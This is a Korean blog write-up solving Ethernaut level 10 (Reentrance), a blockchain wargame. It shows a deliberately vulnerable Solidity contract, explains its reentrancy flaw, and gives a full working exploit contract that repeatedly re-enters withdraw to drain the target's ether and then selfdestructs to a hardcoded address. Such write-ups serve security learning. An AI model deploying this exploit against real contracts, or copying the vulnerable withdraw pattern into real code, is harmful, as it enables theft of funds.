// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
The goal of this level is for you to steal all the funds from the contract.
Things that might help:
- Untrusted contracts can execute code where you least expect it.
- Fallback methods
- Throw/revert bubbling
- Sometimes the best way to attack a contract is with another contract.
- See the "?" page above, section "Beyond the console"
이더넛 10단계 문제이다.
해당 문제는 해당 컨트랙트에 있는 자금을 모두 훔치면 되는 문제이다. 우선 공격벡터부터 보면 withdraw 함수가 공격벡터일거 같다. 해당 함수를 분석해보면 다음과 같다.
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
우선 balances 매핑을 검사해서 안에 있는 value 값이 _amount 보다 더 큰지 검사를 한다. 그러고는 호출자에게 해당 _amount에 해당하는 값을 출금해준다. 그 다음 매핑 돼 있는 value 값에서 _amount를 빼며 출금 기능을 한다.
여기서 msg.sender.call{value:_amount}("") 부분에서 따로 콜백함수를 지정해주지 않아서 Re-entrancy 공격을 할 수 있게 된다. donate 함수를 이용하여 내 balances 매핑에 해당하는 값을 만들고 msg.sender.call{value:_amount}("") 를 새로운 CA로 호출하게 한 뒤에 나의 CA 안에 fallback 함수를 만들고 다시 withdraw 함수를 호출하게 된다면 msg.sender.call{value:_amount}("") 가 계속해서 호출될 것이다.
해당 시나리오를 반영한 최종 익스플로잇 코드이다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to] + msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
contract Exploit {
address payable private target;
constructor (address payable _target) public payable {
target = _target;
}
function exploit() external payable {
Reentrance(target).donate{value: msg.value}(address(this));
Reentrance(target).withdraw(0.001 ether);
}
receive() external payable {
uint amount = min(0.001 ether, target.balance);
if (amount > 0){
Reentrance(target).withdraw(amount);
}
}
function min(uint x, uint y) private pure returns(uint){
return x <= y ? x:y;
}
function get_ether() public {
selfdestruct(payable(0xde90dD6033BFA475e3d517ec882c253B4E6D8B64));
}
function check_balance() public view returns (uint){
return address(this).balance;
}
}
exploit 함수는 donate 함수를 통해서 ether를 보내서 아래의 withdraw의 조건을 충족 시켜준다.
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
그러면 instance 안에는 0.001 ether가 있으므로 msg.value에는 0.001 이더를 넣어준 뒤, 0.001을 출금하면서 re-entrancy 공격으로 instance 안에 있는 ether를 0으로 보내주면 된다. 그리고 아래의 min 함수는 0.001 ether가 아니여도 0으로 깔끔하게 출금하기 위한 함수로 만들어두었다.
exploit 함수를 실행하면 다음과 같이 ether를 다 가져올 수 있게 된다.
이후 check_balance로 나의 EOA에 ether를 전부 가져온다.
그리고 인스턴스를 제출하면 문제를 풀 수 있는 것을 알 수 있었다.
🚩
'Write Up > Ethernaut - 블록체인 워게임' 카테고리의 다른 글
Ethernaut - 12단계 (Privacy) (0) | 2023.11.18 |
---|---|
Ethernaut - 11단계 (Elevator) (2) | 2023.11.17 |
Ethernaut - 9단계 (King) (0) | 2023.11.08 |
Ethernaut - 8단계 (Vault) (0) | 2023.11.08 |
Ethernaut - 7단계 (Force) (0) | 2023.11.07 |